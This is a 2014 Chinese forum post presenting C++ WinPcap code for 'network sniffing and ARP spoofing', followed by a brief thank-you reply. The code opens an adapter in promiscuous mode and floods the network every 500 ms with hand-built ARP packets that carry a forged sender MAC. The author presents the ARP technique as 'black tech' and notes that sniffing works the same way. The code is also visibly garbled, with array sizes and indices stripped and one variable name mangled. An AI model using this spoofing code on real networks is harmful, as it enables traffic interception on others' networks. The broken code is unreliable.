sky! 发表于 2014-3-29 00:37:16

WinPcap实现网络嗅探和ARP欺骗

程序运行需要用到winpcap的驱动.
www.winpcap.org

.cpp文件
#include <iostream>
#include <iomanip>
#include<windows.h>
#include "deal.h"
using namespace std;

void show_ip(ip_address);
void show_mac(unsigned char* mac);
int cmp_ip(ip_address ip1,ip_address ip2);
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr);
int same_times=1;
ip_address old_ip;
int ip_store;
void show()
{

    WSADATA wsaData;
    int iResult;
        iResult=WSAStartup(MAKEWORD(2,0),&wsaData);
        if(iResult)
    {
       cout<<"WSAStartup fail."<<endl;
    }
    else
    {
      cout<<"WSAStartup finish."<<endl<<endl;
    }
   pcap_if_t *alldevs;
    pcap_if_t *d;
    char errbuf;
    //char source;

    int i=0;
    int inum;
    pcap_t *adhandle;
    if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){

      cout<<"error in pcap findalldevs ex: "<< errbuf<<endl;
    }
    for(d = alldevs; d != NULL; d = d->next)
    {
      cout<<"deviec "<<++i<<": "<<endl;
      ifprint(d);
    }
      if(i == 0)
    {
      cout<<"\nNo interfaces found! Make sure Winpcap is installed.\n";
    }

    cout<<"please enter the interface number: "<<endl;
    cin>>inum;
    cout<<"you choose: "<<inum<<endl;

    if(inum < 1 || inum > i)
    {
      printf("\nInterface number out of range.\n");
      /* 释放设备列表 */
      pcap_freealldevs(alldevs);
      return;
    }
    for(d=alldevs, i=0; i< inum-1 ; d=d->next, i++);
    {
      if ( (adhandle= pcap_open(d->name,          // 设备名
                              100,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
                              PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
                              1000,             // 读取超时时间
                              NULL,             // 远程机器验证
                              errbuf            // 错误缓冲池
                           ) ) == NULL)
      {
            fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
            /* 释放设备列表 */
            pcap_freealldevs(alldevs);
            return;
      }
      //获取子网掩码

      //获取本地IP
    }
    tagARPPacket arppacket;
    memset(&arppacket, 0, sizeof(arppacket));


    //formatStrToMAC("00-0c-29-8b-96-e0",arppacket.dlcHeader.DesMac);
    formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.DesMac);
    formatStrToMAC("00-97-02-03-03-71",arppacket.SrcMac);

    formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.Targ_HW_Addr);
    formatStrToMAC("00-97-02-03-03-71",arppacket.Send_HW_Addr);

    arppacket.Send_Prot_Addr=inet_addr("10.*.*.1");
    arppacket.Targ_Prot_Addr=inet_addr("10.*.*.128");


    arppacket.Opcode=htons((unsigned short)1);

    arppacket.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型
   arppacket.HW_Type = htons((unsigned short)0x0001);         // 硬件类型
   arppacket.Prot_Type = htons((unsigned short)0x0800);    // 上层协议类型
   arppacket.HW_Addr_Len = (unsigned char)6;               // MAC地址长度
   arppacket.Prot_Addr_Len = (unsigned char)4;               // IP地址长度

   unsigned char *cc;
   cc=(unsigned char *)&arppacket;
   cout<<sizeof(arppacket)<<endl;
   /*for(int i=0;i<sizeof(arppacket);i++)
   {
         //cout<<cc;
         cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)cc<<"-";
   }
   cout<<endl<<sizeof(arppacket)<<endl;*/

    while(1)
    {
      if (pcap_sendpacket(adhandle,(UCHAR*) &arppacket, 64) != 0)
      {
            //fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
            cout<<"error"<<endl;
            return;
      }else
      {
            cout<<"finish.\t"<<same_times++<<endl;
      }
      Sleep(500);


    }



}

int cmp_ip(ip_address ip1,ip_address ip2)
{
    if(!((u_int)ip1.byte1^(u_int)ip2.byte1))
    {
      if(!((u_int)ip1.byte2^(u_int)ip2.byte2))
            if(!((u_int)ip1.byte3^(u_int)ip2.byte3))
                if(!((u_int)ip1.byte4^(u_int)ip2.byte4))
                  return 0;
    }
    return 1;

}
void show_ip(ip_address ip_add)
{
    cout<<(u_int)ip_add.byte1<<"."<<(u_int)ip_add.byte2<<"."<<(u_int)ip_add.byte3<<"."<<(u_int)ip_add.byte4;
}
void show_mac(unsigned char* mac)
{
    ios::fmtflags old(cout.flags());

    for(int i=0;i<5;i++)
    {
      cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)mac<<"-";
    }
    cout<<hex<<(unsigned int)mac;

    cout.flags(old);
}
void ifprint(pcap_if_t *d)
{
    pcap_addr_t *a;
char ip6str;

/* 设备名(Name) */

    cout<<d->name<<endl;
/* 设备描述(Description) */
if (d->description)

    cout<<"\tDescription: "<<d->description<<endl;
/* Loopback Address*/
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

/* IP addresses */
for(a=d->addresses;a;a=a->next) {
    printf("\tAddress Family: #%d\n",a->addr->sa_family);

    switch(a->addr->sa_family)
    {
      case AF_INET:
      printf("\tAddress Family Name: AF_INET\n");
      if (a->addr)
          printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
      if (a->netmask)
          printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
      if (a->broadaddr)
          printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
      if (a->dstaddr)
          printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
      break;

      case AF_INET6:
      printf("\tAddress Family Name: AF_INET6\n");
      if (a->addr)
          printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
       break;

      default:
      printf("\tAddress Family Name: Unknown\n");
      break;
    }
}
printf("\n");
}

#define IPTOSBUFFERS    12
char *iptos(u_long in)
{
    static char output;
    static short which;
    u_char *p;

    p = (u_char *)∈
    which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
    sprintf(output, "%d.%d.%d.%d", p, p, p, p);
    return output;
}

char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen)
{
    socklen_t sockaddrlen;

    #ifdef WIN32
    sockaddrlen = sizeof(struct sockaddr_in6);
    #else
    sockaddrlen = sizeof(struct sockaddr_storage);
    #endif


    if(getnameinfo(sockaddr,
      sockaddrlen,
      address,
      addrlen,
      NULL,
      0,
      NI_NUMERICHOST) != 0) address = NULL;

    return address;
}
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
{
       unsigned int i, index = 0, value, temp;
      unsigned char c;

      _strlwr(lpHWAddrStr);                                                   // 转换成小写

      for (i = 0; i < strlen(lpHWAddrStr); i++)
   {
         c = *(lpHWAddrStr + i);
            if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))
         {
               if (c>='0' && c<='9')temp = c - '0';                         // 数字
               if (c>='a' && c<='f')temp = c - 'a' + 0xa;               // 字母
               if ( (index % 2) == 1 )
            {
                   value = value*0x10 + temp;
                   HWAddr = value;
            }
            else value = temp;
            index++;
         }
               if (index == 12) break;
      }
}
头文件:
#ifndef DEAL_H_INCLUDED
#define DEAL_H_INCLUDED

#define WINVER 0x0501
#include <ws2tcpip.h>
#include <WinSock2.h>
#define HAVE_REMOTE
#include "pcap.h"

void ifprint(pcap_if_t *d);
char *iptos(u_long in);
char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen);
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void show();

struct ip_address
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
};
#pragma pack(push)
#pragma pack(1)
struct ip_header{
    u_charver_ihl;      // 版本 (4 bits) + 首部长度 (4 bits)
    u_chartos;            // 服务类型(Type of service)
    u_short tlen;         // 总长(Total length)
    u_short identification; // 标识(Identification)
    u_short flags_fo;       // 标志位(Flags) (3 bits) + 段偏移量(Fragment offset) (13 bits)
    u_charttl;            // 存活时间(Time to live)
    u_charproto;          // 协议(Protocol)
    u_short crc;            // 首部校验和(Header checksum)
    ip_addresssaddr;      // 源地址(Source address)
    ip_addressdaddr;      // 目的地址(Destination address)
    u_int   op_pad;         // 选项与填充(Option + Padding)
};
struct tagDLCHeader{

    unsigned char DesMac;
    unsigned char SrcMac;
    unsigned short Ethertype;
};
struct tagARPFrame{
    unsigned short         HW_Type;         /* hardware address */
    unsigned short         Prot_Type;             /* protocol address */
    unsigned char      HW_Addr_Len;       /* length of hardware address */
    unsigned char      Prot_Addr_Len;         /* length of protocol address */
    unsigned short         Opcode;                /* ARP/RARP */

    unsigned char      Send_HW_Addr;   /* sender hardware address */
    unsigned long      Send_Prot_Addr;      /* sender protocol address */
    unsigned char      Targ_HW_Addr;   /* target hardware address */
    unsigned long      Targ_Prot_Addr;      /* target protocol address */
    unsigned char      padding;
};

struct tagARPPacket{
    unsigned char DesMac;
    unsigned char SrcMac;
    unsigned short Ethertype;
    unsigned short         HW_Type;         /* hardware address */
    unsigned short         Prot_Type;             /* protocol address */
    unsigned char      HW_Addr_Len;       /* length of hardware address */
    unsigned char      Prot_Addr_Len;         /* length of protocol address */
    unsigned short         Opcode;                /* ARP/RARP */
    unsigned char      Send_HW_Addr;   /* sender hardware address */
    unsigned long      Send_Prot_Addr;      /* sender protocol address */
    unsigned char      Targ_HW_Addr;   /* target hardware address */
    unsigned long      Targ_Prot_Addr;      /* target protocol address */
    unsigned char      padding;
};
#pragma pack(pop)
#endif // DEAL_H_INCLUDED
在main函数里运行show() 即可实现ARP包的发送, ARP技术属于黑科技......在此以和谐为主

用pcap_loop相关函数 可实现网卡嗅探...原理同上..


晚安.


Angel丶L 发表于 2014-7-21 22:12:29

支持了谢谢分享哈,
页: [1]
查看完整版本: WinPcap实现网络嗅探和ARP欺骗